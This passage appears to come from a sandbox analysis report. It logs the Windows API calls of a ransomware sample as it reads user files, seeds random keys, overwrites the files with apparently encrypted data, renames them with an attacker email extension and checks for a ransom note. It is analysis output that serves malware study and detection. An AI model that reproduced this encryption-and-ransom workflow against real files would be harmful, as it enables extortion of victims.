returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a62e0) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0061.758] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00d60 [0061.758] wcscpy (in: _Dest=0x5e00d60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" [0061.758] wcscat (in: _Dest=0x5e00d60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d" [0061.758] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x807fc7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d4000 [0061.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4000) returned 1 [0061.761] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.761] NtQueryInformationFile (in: FileHandle=0x698, IoStatusBlock=0x807fc88, FileInformation=0x807fc60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x807fc88, FileInformation=0x807fc60) returned 0x0 [0061.761] NtSetInformationFile (FileHandle=0x698, IoStatusBlock=0x807fc88, FileInformation=0x807fc60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.762] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.762] FlushFileBuffers (hFile=0x698) returned 1 [0062.216] CloseHandle (hObject=0x698) returned 1 [0062.717] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e09398 [0062.717] wcscpy (in: _Dest=0x12e09398, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0062.717] wcscat (in: _Dest=0x12e09398, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" [0062.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\cd46d-readme.txt")) returned 0x20 [0063.072] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e09398) returned 1 [0063.072] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446bb0) returned 1 Thread: id = 277 os_tid = 0xa44 [0046.914] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0u_tboj2f4.ots")) returned 0x20 [0046.914] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots", dwFileAttributes=0x20) returned 1 [0046.916] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0u_tboj2f4.ots"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x590 [0046.916] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x839f808 | out: lpFileSize=0x839f808*=53986) returned 1 [0046.916] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0xd2de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.916] ReadFile (in: hFile=0x590, lpBuffer=0x839f78c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x839f788, lpOverlapped=0x0 | out: lpBuffer=0x839f78c*, lpNumberOfBytesRead=0x839f788*=0x4, lpOverlapped=0x0) returned 1 [0046.917] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412d0 [0046.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412f8 [0046.917] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0046.917] NtQuerySystemTime (in: CurrentTime=0x839f768 | out: CurrentTime=0x839f768*=132174898109016000) returned 0x0 [0046.917] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x435d8585 [0046.917] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x5373620 [0046.917] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x355157dd [0046.917] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x425d00fa [0046.917] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x19d7f468 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x1a035bce [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x2114b950 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x475ef850 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x2bc38b44 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x16b8546b [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x414adba1 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x3bfab04c [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x29f9f5bd [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x1baebdad [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x28bf295b [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x6192e733 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x2ed0d070 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x7f501d9e [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x6a9ec4c2 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x2f4e1e61 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x76297fab [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x70eafdf1 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x280ac4bc [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x228f1758 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x1d73cc71 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x5ede7737 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x1d8e386d [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0xd62a11 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x7fbbea3d [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x4caf2e56 [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x2bcbb42e [0046.918] RtlRandomEx (in: Seed=0x839f774 | out: Seed=0x839f774) returned 0x16aa1e1b [0046.930] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.930] ReadFile (in: hFile=0x590, lpBuffer=0x4aafd8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x839f748, lpOverlapped=0x0 | out: lpBuffer=0x4aafd8*, lpNumberOfBytesRead=0x839f748*=0xc800, lpOverlapped=0x0) returned 1 [0046.930] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0046.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419388 [0046.930] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412d0 [0046.930] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412d0) returned 1 [0046.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x4b77e0 [0046.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412d0 [0046.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0046.933] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441320) returned 1 [0046.933] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419388) returned 1 [0046.933] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0046.933] WriteFile (in: hFile=0x590, lpBuffer=0x4b77e0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x839f748, lpOverlapped=0x0 | out: lpBuffer=0x4b77e0*, lpNumberOfBytesWritten=0x839f748*=0xc800, lpOverlapped=0x0) returned 1 [0047.426] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b77e0) returned 1 [0047.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4aafd8) returned 1 [0047.427] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40ab48 [0047.427] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.427] WriteFile (in: hFile=0x590, lpBuffer=0x423ca0*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x839f7c8, lpOverlapped=0x0 | out: lpBuffer=0x423ca0*, lpNumberOfBytesWritten=0x839f7c8*=0x10d, lpOverlapped=0x0) returned 1 [0048.803] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423ca0) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab10) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441690) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ab48) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412d0) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412f8) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441348) returned 1 [0048.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441370) returned 1 [0048.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02060 [0048.804] wcscpy (in: _Dest=0x5e02060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots" [0048.804] wcscat (in: _Dest=0x5e02060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d" [0048.804] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x839f780, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00af0 [0054.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00af0) returned 1 [0054.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a87a8) returned 1 [0054.607] NtQueryInformationFile (in: FileHandle=0x590, IoStatusBlock=0x839f78c, FileInformation=0x839f764, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x839f78c, FileInformation=0x839f764) returned 0x0 [0054.607] NtSetInformationFile (FileHandle=0x590, IoStatusBlock=0x839f78c, FileInformation=0x839f764, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.614] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02060) returned 1 [0054.615] FlushFileBuffers (hFile=0x590) returned 1 [0054.620] CloseHandle (hObject=0x590) returned 1 [0054.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418e60 [0054.633] wcscpy (in: _Dest=0x418e60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.633] wcscat (in: _Dest=0x418e60, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.633] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418e60) returned 1 [0054.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418cf8) returned 1 Thread: id = 278 os_tid = 0xad8 [0046.938] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3wvlx.pps")) returned 0x20 [0046.938] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps", dwFileAttributes=0x20) returned 1 [0046.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3wvlx.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x594 [0046.939] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x846ff3c | out: lpFileSize=0x846ff3c*=42865) returned 1 [0046.939] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0xa76d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.939] ReadFile (in: hFile=0x594, lpBuffer=0x846fec0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x846febc, lpOverlapped=0x0 | out: lpBuffer=0x846fec0*, lpNumberOfBytesRead=0x846febc*=0x4, lpOverlapped=0x0) returned 1 [0046.940] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0046.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441398 [0046.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0046.940] NtQuerySystemTime (in: CurrentTime=0x846fe9c | out: CurrentTime=0x846fe9c*=132174898109172000) returned 0x0 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x40fb0d04 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x59166227 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x4aadd60b [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x69626abc [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x764c90d8 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x27c92241 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x74c01bcd [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x52004b86 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x5fe20ba8 [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0xfe99dcf [0046.940] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x32511462 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x6a917ce2 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x3d198fb3 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x7e2983e9 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x545b271d [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x221e3183 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x712af317 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x2a661bbb [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x1e9cff9 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x421b2de6 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x562847d0 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x3219a4fc [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x766ef79 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x5b2ea5f6 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0xea440a5 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x218413fb [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x168623b7 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x5a4e4076 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0xc859993 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x69f4c976 [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0xb2713fa [0046.941] RtlRandomEx (in: Seed=0x846fea8 | out: Seed=0x846fea8) returned 0x79d18a23 [0046.952] ReadFile (in: hFile=0x594, lpBuffer=0x4c3fe8, nNumberOfBytesToRead=0xa771, lpNumberOfBytesRead=0x846fe98, lpOverlapped=0x0 | out: lpBuffer=0x4c3fe8*, lpNumberOfBytesRead=0x846fe98*=0xa771, lpOverlapped=0x0) returned 1 [0046.954] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0046.954] WriteFile (in: hFile=0x594, lpBuffer=0x4d07f0*, nNumberOfBytesToWrite=0xa771, lpNumberOfBytesWritten=0x846fe94, lpOverlapped=0x0 | out: lpBuffer=0x4d07f0*, lpNumberOfBytesWritten=0x846fe94*=0xa771, lpOverlapped=0x0) returned 1 [0047.427] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0047.427] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416e0 [0047.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416e0) returned 1 [0047.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d07f0) returned 1 [0047.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4c3fe8) returned 1 [0047.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419388) returned 1 [0047.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0047.428] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x4416e0 [0047.428] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.428] WriteFile (in: hFile=0x594, lpBuffer=0x423db8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x846fefc, lpOverlapped=0x0 | out: lpBuffer=0x423db8*, lpNumberOfBytesWritten=0x846fefc*=0x103, lpOverlapped=0x0) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423db8) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441708) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441730) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416e0) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441398) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413e8) returned 1 [0053.219] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441410) returned 1 [0053.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443490 [0053.219] wcscpy (in: _Dest=0x443490, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps" [0053.219] wcscat (in: _Dest=0x443490, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d" [0053.219] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x846feb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x423da8 [0054.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0054.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x457150) returned 1 [0054.598] NtQueryInformationFile (in: FileHandle=0x594, IoStatusBlock=0x846fec0, FileInformation=0x846fe98, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x846fec0, FileInformation=0x846fe98) returned 0x0 [0054.598] NtSetInformationFile (FileHandle=0x594, IoStatusBlock=0x846fec0, FileInformation=0x846fe98, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.604] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443490) returned 1 [0054.604] FlushFileBuffers (hFile=0x594) returned 1 [0054.605] CloseHandle (hObject=0x594) returned 1 [0054.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.606] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.606] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.606] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.606] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445eb0) returned 1 Thread: id = 279 os_tid = 0xadc [0046.956] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ynkuyc6kco5fb.odt")) returned 0x20 [0046.956] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt", dwFileAttributes=0x20) returned 1 [0046.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3yNKuYc6KCO5FB.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3ynkuyc6kco5fb.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x598 [0046.957] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x512fd88 | out: lpFileSize=0x512fd88*=31473) returned 1 [0046.957] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x7aed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 